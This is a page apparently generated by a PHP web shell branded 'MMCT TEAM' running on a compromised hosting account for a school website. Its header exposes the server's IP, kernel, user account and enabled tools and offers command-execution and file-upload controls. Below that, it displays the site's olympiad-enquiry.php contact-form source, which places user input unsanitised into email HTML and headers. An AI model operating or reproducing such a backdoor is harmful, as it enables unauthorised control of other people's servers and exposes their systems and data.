MMCT TEAM
Server IP : 62.72.28.201  /  Your IP : 3.146.34.148
Web Server : LiteSpeed
System : Linux in-mum-web1113.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : u249650955 ( 249650955)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0755) :  /home/u249650955/domains/ladyflorencepublicschool.com/public_html/plugins/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u249650955/domains/ladyflorencepublicschool.com/public_html/plugins/../olympiad-enquiry.php
<?php
	$cname = $_POST['name'];
	$cemail = $_POST['email'];
    $cphone = $_POST['mobile'];
    $cservice = $_POST['class'];
    $cexam = $_POST['exam'];
    
	$to = "info.dwarka@fiitjee.com";
	$subject = "Olympiads Enquiry";
	$message = "<h2>Fiitjee Dwarka</h2>";
	$message .= "<h4>Name : ".$cname.
	"</h4><h4>Email : ".$cemail.
	"</h4><h4>Contact. : ".$cphone.
	"</h4><h4>Class : ".$cservice.
	"</h4><h4>Target Exam : ".$cexam.
	"</h4>";
   	$header = "From:".$_POST['email']."\r\n";
   	$header = "Cc:deepak.singh@fiitjee.com\r\n";
   	$header .= "MIME-Version: 1.0\r\n";
   	$header .= "Content-type: text/html\r\n";
   	if (!ini_get("safe_mode")) $retval = mail($to,$subject,$message,$header);
   	if( $retval == true )
   	{
      		echo '<script> 
	  		alert("Thank you for contacting fiitjee Dwarka...We will revert you soon.");
	  		</script>';
		echo "<script>location.href='index.php';</script>";  
   	}
   	else
   	{
      		echo '<script> 
	  	alert("Message Not Sent . Please Fill details again.");
	  	</script>';
		echo "<script>location.href='index.php';</script>";
   }
   ?>

MMCT - 2023